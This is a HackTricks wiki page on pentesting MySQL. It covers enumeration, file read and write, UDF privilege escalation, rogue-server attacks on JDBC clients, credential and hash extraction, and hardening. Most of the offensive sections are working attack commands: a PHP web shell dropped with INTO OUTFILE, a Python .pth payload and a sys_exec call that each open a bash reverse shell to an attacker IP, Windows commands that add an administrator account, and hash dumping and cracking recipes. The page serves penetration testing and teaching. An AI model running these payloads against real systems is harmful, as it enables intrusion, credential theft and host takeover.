pentesting-mysql.md (29846B)
1 --- 2 title: "3306 - Pentesting MySQL" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-mysql.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-mysql.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 3306 - Pentesting MySQL 14 15 ## **Basic Information** 16 17 **MySQL** is an open-source relational database management system that uses SQL. The server commonly listens on TCP/3306, although both its TCP port and Unix socket are configurable. 18 19 **Default port:** 3306 20 21 ```text 22 3306/tcp open mysql 23 ``` 24 25 ## **Connect** 26 27 ### **Local** 28 29 ```bash 30 mysql -u root # Connect to root without password 31 mysql -u root -p # Prompt for the password 32 ``` 33 34 ### Remote 35 36 ```bash 37 mysql -h <Hostname> -u root 38 mysql -h <Hostname> -u root@localhost 39 ``` 40 41 ## External Enumeration 42 43 Some enumeration actions require valid credentials. 44 45 ```bash 46 nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP> 47 msf> use auxiliary/scanner/mysql/mysql_version 48 msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump 49 msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds 50 msf> use auxiliary/admin/mysql/mysql_enum #Creds 51 msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds 52 msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds 53 ``` 54 55 ### [**Brute force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#mysql) 56 57 ### Write any binary data 58 59 ```bash 60 CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY) 61 CONVERT(from_base64("aG9sYWFhCg=="), BINARY) 62 ``` 63 64 ## **MySQL commands** 65 66 ```bash 67 show databases; 68 use <database>; 69 connect <database>; 70 show tables; 71 describe <table_name>; 72 show columns from <table>; 73 74 select version(); # Version 75 select @@version(); # Version 76 select user(); # Authenticated user and client host 77 select current_user(); # Account used for privilege checks 78 select database(); # Current database name 79 80 #Get a shell with the mysql client user 81 \! sh 82 83 #Basic MySQLi 84 Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables 85 Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>" 86 87 #Read & Write 88 ## You need the FILE privilege to read and write server-side files. 89 select load_file('/var/lib/mysql-files/key.txt'); #Read file 90 select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php' 91 92 # Legacy direct grant-table updates (version-dependent; prefer ALTER USER on supported releases) 93 UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root'; 94 UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root'; 95 FLUSH PRIVILEGES; 96 # Modern syntax 97 ALTER USER 'root'@'localhost' IDENTIFIED BY 'MyNewPass'; 98 quit; 99 ``` 100 101 ```bash 102 mysql -u username -p < manycommands.sql #A file with all the commands you want to execute 103 mysql -u root -h 127.0.0.1 -e 'show databases;' 104 ``` 105 106 ### MySQL Permissions Enumeration 107 108 ```sql 109 # MySQL 110 SHOW GRANTS [FOR user]; 111 SHOW GRANTS; 112 SHOW GRANTS FOR 'root'@'localhost'; 113 SHOW GRANTS FOR CURRENT_USER(); 114 115 # Get users, permissions & hashes 116 SELECT * FROM mysql.user; 117 118 #From DB 119 select * from mysql.user where user='root'; 120 ## Get users with file_priv 121 select user,file_priv from mysql.user where file_priv='Y'; 122 ## Get users with Super_priv 123 select user,Super_priv from mysql.user where Super_priv='Y'; 124 125 # List functions 126 SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION'; 127 #@ Functions not from sys. db 128 SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; 129 ``` 130 131 The MySQL manual documents the meaning and scope of each privilege.<sup>[[8]](#references)</sup> 132 133 ### MySQL File RCE 134 135 136 See also [MySQL SSRF techniques](/hacktricks/pentesting-web/sql-injection/mysql-injection/mysql-ssrf). 137 138 #### INTO OUTFILE → Python `.pth` RCE (site-specific configuration hooks) 139 140 Abusing the classic `INTO OUTFILE` primitive it is possible to obtain *arbitrary code execution* on targets that later run **Python** scripts.<sup>[[1]](#references)</sup> 141 142 1. Use `INTO OUTFILE` to drop a custom **`.pth`** file inside any directory loaded automatically by `site.py` (e.g. `.../lib/python3.10/site-packages/`). 143 2. The `.pth` file can contain a *single line* starting with `import ` followed by arbitrary Python code which will be executed every time the interpreter starts. 144 3. When the interpreter is implicitly executed by a CGI script (for example `/cgi-bin/ml-draw.py` with shebang `#!/bin/python`) the payload is executed with the same privileges as the web-server process (FortiWeb ran it as **root** → full pre-auth RCE). 145 146 Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required): 147 148 ```python 149 import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) 150 ``` 151 152 Example of crafting the file through an **UNION** query (space characters replaced with `/**/` to bypass an `sscanf("%128s")` space filter and keep the total length ≤128 bytes): 153 154 ```sql 155 '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' 156 ``` 157 158 Important limitations & bypasses: 159 160 * `INTO OUTFILE` **cannot overwrite** existing files; choose a new filename. 161 * A relative output path is resolved below MySQL's data directory. Traversal may reach another writable location only when filesystem permissions and `secure_file_priv` permit it; an absolute path is clearer when the injection's length restrictions allow one.<sup>[[8]](#references)</sup> 162 * If the attacker input is extracted with `%128s` (or similar) any space will truncate the payload; use MySQL comment sequences `/**/` or `/*!*/` to replace spaces. 163 * The database account needs the `FILE` privilege, and the `mysqld` operating-system account needs write access to the target directory. The FortiWeb case was unusually severe because `mysqld` ran as **root**; normal installations should never do this.<sup>[[1]](#references)[[8]](#references)</sup> 164 165 After dropping the `.pth`, simply request any CGI handled by the python interpreter to get code execution: 166 167 ```text 168 GET /cgi-bin/ml-draw.py HTTP/1.1 169 Host: <target> 170 ``` 171 172 The Python process will import the malicious `.pth` automatically and execute the shell payload. 173 174 ```text 175 # Attacker 176 $ nc -lvnp 4444 177 id 178 uid=0(root) gid=0(root) groups=0(root) 179 ``` 180 181 --- 182 183 184 ## MySQL arbitrary read file by client 185 186 With `LOAD DATA LOCAL INFILE`, the server asks the **client** to read a local file and send its contents. A malicious server can therefore request an unintended client-side file when a victim can be induced to connect and the client permits local-file loading. 187 188 ```bash 189 load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; 190 ``` 191 192 Without the `LOCAL` keyword, the server reads from its own filesystem and server-side restrictions such as `secure_file_priv` apply: 193 194 ```bash 195 mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; 196 197 ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement 198 ``` 199 200 **Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server) <sup>[[2]](#references)</sup>\ 201 **In this paper you can see a complete description of the attack and even how to extend it to RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/) <sup>[[3]](#references)</sup>\ 202 **Here you can find an overview of the attack:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) <sup>[[4]](#references)</sup> 203 204 205 206 207 ## POST 208 209 ### MySQL user 210 211 It will be very interesting if mysql is running as **root**: 212 213 ```bash 214 cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user" 215 systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1 216 ``` 217 218 #### Dangerous Settings of mysqld.cnf 219 220 In the configuration of MySQL services, various settings are employed to define its operation and security measures: 221 222 - The **`user`** setting is utilized for designating the user under which the MySQL service will be executed. 223 - A **`password`** option in a client section stores a connection password in plaintext; it is not the server account database and should be protected carefully. 224 - **`admin_address`** specifies the IP address that listens for TCP/IP connections on the administrative network interface. 225 - **`debug`** or verbose general/query logging can expose queries and sensitive values in logs. 226 - **`sql_warnings`** is a legacy setting that controls warning reporting for single-row inserts; review logs for unintended query data. 227 - With **`secure_file_priv`**, the scope of data import and export operations is constrained to enhance security. 228 229 #### Local Linux enumeration 230 231 If you already have shell access on the host, the fastest wins are usually **local sockets**, **client credential files**, and **auth plugins** mapping an OS user into a DB account. 232 233 High-signal paths and artifacts: 234 235 ```bash 236 ls -l /run/mysqld/mysqld.sock /var/run/mysqld/mysqld.sock 2>/dev/null 237 ls -l /etc/mysql/debian.cnf ~/.my.cnf ~/.mylogin.cnf 2>/dev/null 238 grep -RNI -E '^(bind-address|skip-networking|socket)\\b' /etc/mysql /etc/my.cnf* 2>/dev/null 239 ``` 240 241 If the local socket is reachable, inspect users/plugins and the effective identity: 242 243 ```bash 244 mysql -S /run/mysqld/mysqld.sock -u root -e \ 245 "SELECT user,host,plugin,account_locked FROM mysql.user;" 2>/dev/null 246 mysql -S /run/mysqld/mysqld.sock -u root -e \ 247 "SELECT USER(),CURRENT_USER();" 2>/dev/null 248 ``` 249 250 What to look for: 251 252 - **`auth_socket` / `unix_socket`** on privileged users: an OS user can become a DB user over the local socket **without a DB password** 253 - readable **`/etc/mysql/debian.cnf`** or **`~/.my.cnf`** files 254 - **`secure_file_priv`** empty or pointing to a writable directory 255 - **`local_infile`** enabled when it isn't needed 256 257 Quick posture checks: 258 259 ```bash 260 mysql -S /run/mysqld/mysqld.sock -u root -e " 261 SHOW VARIABLES LIKE 'secure_file_priv'; 262 SHOW VARIABLES LIKE 'local_infile'; 263 SHOW GRANTS FOR CURRENT_USER(); 264 " 2>/dev/null 265 ``` 266 267 ### Privilege escalation 268 269 ```bash 270 # Get the current user and inspect users, privileges, and hashes 271 use mysql; 272 select user(); 273 select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user; 274 275 # Get users, permissions & creds 276 SELECT * FROM mysql.user; 277 mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;" 278 279 # Create user and give privileges 280 CREATE USER 'test'@'%' IDENTIFIED BY 'test'; 281 GRANT SELECT,CREATE,DROP,UPDATE,DELETE,INSERT ON *.* TO 'test'@'%' WITH GRANT OPTION; 282 283 # Get a shell as the local mysql client process (useful during host privilege escalation) 284 \! sh 285 ``` 286 287 ### Privilege Escalation via library 288 289 If the MySQL server runs as **root** or another overprivileged user, a database administrator may be able to execute OS commands by installing a malicious **user-defined function (UDF)** library. This requires the privileges needed to create functions and place a compatible library in `plugin_dir`; modern packages normally make that directory unwritable by the `mysqld` account. 290 291 The malicious library to use can be found inside sqlmap and inside metasploit by doing **`locate "*lib_mysqludf_sys*"`**. The **`.so`** files are **linux** libraries and the **`.dll`** are the **Windows** ones, choose the one you need. 292 293 If you **don't have** those libraries, you can either **look for them**, or download this [**linux C code**](https://www.exploit-db.com/exploits/1518) and **compile it inside the linux vulnerable machine**: 294 295 ```bash 296 gcc -g -c raptor_udf2.c 297 gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc 298 ``` 299 300 After obtaining a library built for the target architecture, log in to MySQL as a sufficiently privileged database account and follow the applicable lab workflow: 301 302 #### Linux 303 304 ```sql 305 # Use a database 306 use mysql; 307 # Create a table to load the library and move it to the plugins dir 308 create table npn(line blob); 309 # Load the binary library inside the table 310 ## You might need to change the path and file name 311 insert into npn values(load_file('/tmp/lib_mysqludf_sys.so')); 312 # Get the plugin_dir path 313 show variables like '%plugin%'; 314 # Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ 315 # dump in there the library 316 select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so'; 317 # Create a function to execute commands 318 create function sys_exec returns integer soname 'lib_mysqludf_sys.so'; 319 # Execute commands 320 select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt'); 321 select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"'); 322 ``` 323 324 #### Windows 325 326 ```sql 327 # Check the Linux comments above for the equivalent steps 328 USE mysql; 329 CREATE TABLE npn(line blob); 330 INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll')); 331 show variables like '%plugin%'; 332 SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll'; 333 CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll'; 334 SELECT sys_exec("net user npn npn12345678 /add"); 335 SELECT sys_exec("net localgroup Administrators npn /add"); 336 ``` 337 338 #### Windows tip: create directories with NTFS ADS from SQL 339 340 On NTFS you can coerce directory creation using an alternate data stream even when only a file write primitive exists. If the classic UDF chain expects a `plugin` directory but it doesn’t exist and `@@plugin_dir` is unknown or locked down, you can create it first with `::$INDEX_ALLOCATION`: 341 342 ```sql 343 SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'; 344 -- After this, `C:\\MySQL\\lib\\plugin` exists as a directory 345 ``` 346 347 This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.<sup>[[5]](#references)</sup> 348 349 ### Extracting MySQL credentials from files 350 351 Older Debian/Ubuntu packages may store plaintext credentials for a **`debian-sys-maint`** account in `/etc/mysql/debian.cnf`; newer installations may use socket authentication or omit that account. 352 353 ```bash 354 cat /etc/mysql/debian.cnf 355 ``` 356 357 If present and still valid, these credentials may allow a local database login. 358 359 On old releases where the `mysql.user` grant table uses MyISAM, `/var/lib/mysql/mysql/user.MYD` can contain account hashes. Current MySQL versions use different system-table storage, so query `mysql.user` through the server whenever possible. 360 361 You can extract them doing: 362 363 ```bash 364 grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password" 365 ``` 366 367 ### Enabling logging 368 369 You can enable logging of mysql queries inside `/etc/mysql/my.cnf` uncommenting the following lines: 370 371  372 373 ### Useful files 374 375 Configuration files 376 377 - Windows 378 - config.ini 379 - my.ini 380 - windows\my.ini 381 - winnt\my.ini 382 - `<InstDir>/mysql/data/` 383 - Unix-like systems 384 - `/etc/my.cnf` 385 - `/etc/mysql/my.cnf` 386 - `/var/lib/mysql/my.cnf` 387 - `~/.my.cnf` 388 - Command History 389 - \~/.mysql.history 390 - Log Files 391 - connections.log 392 - update.log 393 - common.log 394 395 ## Default MySQL Database/Tables 396 397 ### information_schema 398 ALL_PLUGINS\ 399 APPLICABLE_ROLES\ 400 CHARACTER_SETS\ 401 CHECK_CONSTRAINTS\ 402 COLLATIONS\ 403 COLLATION_CHARACTER_SET_APPLICABILITY\ 404 COLUMNS\ 405 COLUMN_PRIVILEGES\ 406 ENABLED_ROLES\ 407 ENGINES\ 408 EVENTS\ 409 FILES\ 410 GLOBAL_STATUS\ 411 GLOBAL_VARIABLES\ 412 KEY_COLUMN_USAGE\ 413 KEY_CACHES\ 414 OPTIMIZER_TRACE\ 415 PARAMETERS\ 416 PARTITIONS\ 417 PLUGINS\ 418 PROCESSLIST\ 419 PROFILING\ 420 REFERENTIAL_CONSTRAINTS\ 421 ROUTINES\ 422 SCHEMATA\ 423 SCHEMA_PRIVILEGES\ 424 SESSION_STATUS\ 425 SESSION_VARIABLES\ 426 STATISTICS\ 427 SYSTEM_VARIABLES\ 428 TABLES\ 429 TABLESPACES\ 430 TABLE_CONSTRAINTS\ 431 TABLE_PRIVILEGES\ 432 TRIGGERS\ 433 USER_PRIVILEGES\ 434 VIEWS\ 435 INNODB_LOCKS\ 436 INNODB_TRX\ 437 INNODB_SYS_DATAFILES\ 438 INNODB_FT_CONFIG\ 439 INNODB_SYS_VIRTUAL\ 440 INNODB_CMP\ 441 INNODB_FT_BEING_DELETED\ 442 INNODB_CMP_RESET\ 443 INNODB_CMP_PER_INDEX\ 444 INNODB_CMPMEM_RESET\ 445 INNODB_FT_DELETED\ 446 INNODB_BUFFER_PAGE_LRU\ 447 INNODB_LOCK_WAITS\ 448 INNODB_TEMP_TABLE_INFO\ 449 INNODB_SYS_INDEXES\ 450 INNODB_SYS_TABLES\ 451 INNODB_SYS_FIELDS\ 452 INNODB_CMP_PER_INDEX_RESET\ 453 INNODB_BUFFER_PAGE\ 454 INNODB_FT_DEFAULT_STOPWORD\ 455 INNODB_FT_INDEX_TABLE\ 456 INNODB_FT_INDEX_CACHE\ 457 INNODB_SYS_TABLESPACES\ 458 INNODB_METRICS\ 459 INNODB_SYS_FOREIGN_COLS\ 460 INNODB_CMPMEM\ 461 INNODB_BUFFER_POOL_STATS\ 462 INNODB_SYS_COLUMNS\ 463 INNODB_SYS_FOREIGN\ 464 INNODB_SYS_TABLESTATS\ 465 GEOMETRY_COLUMNS\ 466 SPATIAL_REF_SYS\ 467 CLIENT_STATISTICS\ 468 INDEX_STATISTICS\ 469 USER_STATISTICS\ 470 INNODB_MUTEXES\ 471 TABLE_STATISTICS\ 472 INNODB_TABLESPACES_ENCRYPTION\ 473 user_variables\ 474 INNODB_TABLESPACES_SCRUBBING\ 475 INNODB_SYS_SEMAPHORE_WAITS 476 477 ### mysql 478 columns_priv\ 479 column_stats\ 480 db\ 481 engine_cost\ 482 event\ 483 func\ 484 general_log\ 485 gtid_executed\ 486 gtid_slave_pos\ 487 help_category\ 488 help_keyword\ 489 help_relation\ 490 help_topic\ 491 host\ 492 index_stats\ 493 innodb_index_stats\ 494 innodb_table_stats\ 495 ndb_binlog_index\ 496 plugin\ 497 proc\ 498 procs_priv\ 499 proxies_priv\ 500 roles_mapping\ 501 server_cost\ 502 servers\ 503 slave_master_info\ 504 slave_relay_log_info\ 505 slave_worker_info\ 506 slow_log\ 507 tables_priv\ 508 table_stats\ 509 time_zone\ 510 time_zone_leap_second\ 511 time_zone_name\ 512 time_zone_transition\ 513 time_zone_transition_type\ 514 transaction_registry\ 515 user 516 517 ### performance_schema 518 accounts\ 519 cond_instances\ 520 events_stages_current\ 521 events_stages_history\ 522 events_stages_history_long\ 523 events_stages_summary_by_account_by_event_name\ 524 events_stages_summary_by_host_by_event_name\ 525 events_stages_summary_by_thread_by_event_name\ 526 events_stages_summary_by_user_by_event_name\ 527 events_stages_summary_global_by_event_name\ 528 events_statements_current\ 529 events_statements_history\ 530 events_statements_history_long\ 531 events_statements_summary_by_account_by_event_name\ 532 events_statements_summary_by_digest\ 533 events_statements_summary_by_host_by_event_name\ 534 events_statements_summary_by_program\ 535 events_statements_summary_by_thread_by_event_name\ 536 events_statements_summary_by_user_by_event_name\ 537 events_statements_summary_global_by_event_name\ 538 events_transactions_current\ 539 events_transactions_history\ 540 events_transactions_history_long\ 541 events_transactions_summary_by_account_by_event_name\ 542 events_transactions_summary_by_host_by_event_name\ 543 events_transactions_summary_by_thread_by_event_name\ 544 events_transactions_summary_by_user_by_event_name\ 545 events_transactions_summary_global_by_event_name\ 546 events_waits_current\ 547 events_waits_history\ 548 events_waits_history_long\ 549 events_waits_summary_by_account_by_event_name\ 550 events_waits_summary_by_host_by_event_name\ 551 events_waits_summary_by_instance\ 552 events_waits_summary_by_thread_by_event_name\ 553 events_waits_summary_by_user_by_event_name\ 554 events_waits_summary_global_by_event_name\ 555 file_instances\ 556 file_summary_by_event_name\ 557 file_summary_by_instance\ 558 global_status\ 559 global_variables\ 560 host_cache\ 561 hosts\ 562 memory_summary_by_account_by_event_name\ 563 memory_summary_by_host_by_event_name\ 564 memory_summary_by_thread_by_event_name\ 565 memory_summary_by_user_by_event_name\ 566 memory_summary_global_by_event_name\ 567 metadata_locks\ 568 mutex_instances\ 569 objects_summary_global_by_type\ 570 performance_timers\ 571 prepared_statements_instances\ 572 replication_applier_configuration\ 573 replication_applier_status\ 574 replication_applier_status_by_coordinator\ 575 replication_applier_status_by_worker\ 576 replication_connection_configuration\ 577 replication_connection_status\ 578 replication_group_member_stats\ 579 replication_group_members\ 580 rwlock_instances\ 581 session_account_connect_attrs\ 582 session_connect_attrs\ 583 session_status\ 584 session_variables\ 585 setup_actors\ 586 setup_consumers\ 587 setup_instruments\ 588 setup_objects\ 589 setup_timers\ 590 socket_instances\ 591 socket_summary_by_event_name\ 592 socket_summary_by_instance\ 593 status_by_account\ 594 status_by_host\ 595 status_by_thread\ 596 status_by_user\ 597 table_handles\ 598 table_io_waits_summary_by_index_usage\ 599 table_io_waits_summary_by_table\ 600 table_lock_waits_summary_by_table\ 601 threads\ 602 user_variables_by_thread\ 603 users\ 604 variables_by_thread 605 606 ### sys 607 host_summary\ 608 host_summary_by_file_io\ 609 host_summary_by_file_io_type\ 610 host_summary_by_stages\ 611 host_summary_by_statement_latency\ 612 host_summary_by_statement_type\ 613 innodb_buffer_stats_by_schema\ 614 innodb_buffer_stats_by_table\ 615 innodb_lock_waits\ 616 io_by_thread_by_latency\ 617 io_global_by_file_by_bytes\ 618 io_global_by_file_by_latency\ 619 io_global_by_wait_by_bytes\ 620 io_global_by_wait_by_latency\ 621 latest_file_io\ 622 memory_by_host_by_current_bytes\ 623 memory_by_thread_by_current_bytes\ 624 memory_by_user_by_current_bytes\ 625 memory_global_by_current_bytes\ 626 memory_global_total\ 627 metrics\ 628 processlist\ 629 ps_check_lost_instrumentation\ 630 schema_auto_increment_columns\ 631 schema_index_statistics\ 632 schema_object_overview\ 633 schema_redundant_indexes\ 634 schema_table_lock_waits\ 635 schema_table_statistics\ 636 schema_table_statistics_with_buffer\ 637 schema_tables_with_full_table_scans\ 638 schema_unused_indexes\ 639 session\ 640 session_ssl_status\ 641 statement_analysis\ 642 statements_with_errors_or_warnings\ 643 statements_with_full_table_scans\ 644 statements_with_runtimes_in_95th_percentile\ 645 statements_with_sorting\ 646 statements_with_temp_tables\ 647 sys_config\ 648 user_summary\ 649 user_summary_by_file_io\ 650 user_summary_by_file_io_type\ 651 user_summary_by_stages\ 652 user_summary_by_statement_latency\ 653 user_summary_by_statement_type\ 654 version\ 655 wait_classes_global_by_avg_latency\ 656 wait_classes_global_by_latency\ 657 waits_by_host_by_latency\ 658 waits_by_user_by_latency\ 659 waits_global_by_latency\ 660 x$host\_summary\ 661 x$host_summary_by_file_io\ 662 x$host\_summary\_by\_file\_io\_type\ 663 x$host_summary_by_stages\ 664 x$host\_summary\_by\_statement\_latency\ 665 x$host_summary_by_statement_type\ 666 x$innodb\_buffer\_stats\_by\_schema\ 667 x$innodb_buffer_stats_by_table\ 668 x$innodb\_lock\_waits\ 669 x$io_by_thread_by_latency\ 670 x$io\_global\_by\_file\_by\_bytes\ 671 x$io_global_by_file_by_latency\ 672 x$io\_global\_by\_wait\_by\_bytes\ 673 x$io_global_by_wait_by_latency\ 674 x$latest\_file\_io\ 675 x$memory_by_host_by_current_bytes\ 676 x$memory\_by\_thread\_by\_current\_bytes\ 677 x$memory_by_user_by_current_bytes\ 678 x$memory\_global\_by\_current\_bytes\ 679 x$memory_global_total\ 680 x$processlist\ 681 x$ps_digest_95th_percentile_by_avg_us\ 682 x$ps\_digest\_avg\_latency\_distribution\ 683 x$ps_schema_table_statistics_io\ 684 x$schema\_flattened\_keys\ 685 x$schema_index_statistics\ 686 x$schema\_table\_lock\_waits\ 687 x$schema_table_statistics\ 688 x$schema\_table\_statistics\_with\_buffer\ 689 x$schema_tables_with_full_table_scans\ 690 x$session\ 691 x$statement_analysis\ 692 x$statements\_with\_errors\_or\_warnings\ 693 x$statements_with_full_table_scans\ 694 x$statements\_with\_runtimes\_in\_95th\_percentile\ 695 x$statements_with_sorting\ 696 x$statements\_with\_temp\_tables\ 697 x$user_summary\ 698 x$user\_summary\_by\_file\_io\ 699 x$user_summary_by_file_io_type\ 700 x$user\_summary\_by\_stages\ 701 x$user_summary_by_statement_latency\ 702 x$user\_summary\_by\_statement\_type\ 703 x$wait_classes_global_by_avg_latency\ 704 x$wait\_classes\_global\_by\_latency\ 705 x$waits_by_host_by_latency\ 706 x$waits\_by\_user\_by\_latency\ 707 x$waits_global_by_latency 708 709 710 ## HackTricks Automatic Commands 711 712 ```text 713 Protocol_Name: MySql #Protocol Abbreviation if there is one. 714 Port_Number: 3306 #Comma separated if there is more than one. 715 Protocol_Description: MySql #Protocol Abbreviation Spelled out 716 717 Entry_1: 718 Name: Notes 719 Description: Notes for MySql 720 Note: | 721 MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL). 722 723 https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html 724 725 Entry_2: 726 Name: Nmap 727 Description: Nmap with MySql Scripts 728 Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306 729 730 Entry_3: 731 Name: MySql 732 Description: Attempt to connect to mysql server 733 Command: mysql -h {IP} -u {Username}@localhost 734 735 Entry_4: 736 Name: MySql consolesless mfs enumeration 737 Description: MySql enumeration without the need to run msfconsole 738 Note: sourced from https://github.com/carlospolop/legion 739 Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit' 740 741 ``` 742 743 744 745 ## Recent techniques 746 747 ### JDBC `propertiesTransform` class loading (CVE-2023-21971) 748 In Connector/J through 8.0.32, an attacker who can influence the **JDBC URL** can supply a class name through `propertiesTransform`. The driver loads and instantiates that client-side class as a connection-properties transformer. If an attacker-controlled or otherwise dangerous compatible class is already reachable on the application's classpath, this can result in code execution in the JDBC client's context before database authentication. A minimal URL looks like: 749 750 ```java 751 jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil 752 ``` 753 754 This particular path requires the named class to be available to the application; rogue-server deserialization is a separate Connector/J attack surface. The issue was fixed in Connector/J 8.0.33, so upgrade the driver and do not accept attacker-controlled JDBC properties.<sup>[[6]](#references)</sup> 755 756 ### Rogue / Fake MySQL server attacks against JDBC clients 757 Several open-source tools implement a *partial* MySQL protocol in order to attack JDBC clients that connect outwards: 758 759 * **mysql-fake-server** (Java, supports file read and deserialization exploits) 760 * **rogue_mysql_server** (Python, similar capabilities) 761 762 Typical attack paths: 763 764 1. Victim application loads `mysql-connector-j` with `allowLoadLocalInfile=true` or `autoDeserialize=true`. 765 2. Attacker controls DNS / host entry so that the hostname of the DB resolves to a machine under their control. 766 3. Malicious server responds with crafted packets that trigger either `LOCAL INFILE` arbitrary file read or Java deserialization → RCE. 767 768 Example one-liner to start a fake server (Java): 769 770 ```bash 771 java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server 772 ``` 773 774 Then point the victim application to `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` and read `/etc/passwd` by encoding the filename as base64 in the *username* field (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).<sup>[[7]](#references)</sup> 775 776 ### Cracking `caching_sha2_password` hashes 777 MySQL 8 accounts using `caching_sha2_password` commonly have an `authentication_string` beginning **`$A$`** (digest identifier, iteration field, salt, and digest). Hashcat supports this as mode **7401**. Confirm the account's `plugin` and preserve the complete authentication string when extracting it.<sup>[[9]](#references)[[10]](#references)</sup> 778 779 ```bash 780 # extract hashes 781 mysql -N -B -e "SELECT authentication_string FROM mysql.user WHERE plugin='caching_sha2_password'" > hashes.txt 782 # Hashcat 783 hashcat -a 0 -m 7401 hashes.txt /path/to/wordlist 784 ``` 785 786 ### Hardening checklist 787 788 - Set **`local_infile=OFF`** where client-side loading is unnecessary, and set **`secure_file_priv=NULL`** to disable server-side import/export operations when they are not required. 789 - Remove the **`FILE`** privilege from application accounts. 790 - On Connector/J, keep `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, and `autoDeserialize=false`; do not let untrusted input control `propertiesTransform` or other JDBC properties. 791 - Disable unused authentication plugins and **require TLS** (`require_secure_transport=ON`). 792 - Monitor for `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL`, and unexpected `SET GLOBAL` statements. 793 794 --- 795 796 ## References 797 798 - [1] [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/) 799 - [2] [allyshka/Rogue-MySql-Server – rogue MySQL server PoC for client-side arbitrary file read](https://github.com/allyshka/Rogue-MySql-Server) 800 - [3] [MySQL client arbitrary file read: full attack description and RCE extension (paper.seebug.org)](https://paper.seebug.org/1113/) 801 - [4] [MySQL client "connect & file read" attack overview (russiansecurity.expert)](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/) 802 - [5] [The Art of PHP: CTF‑born 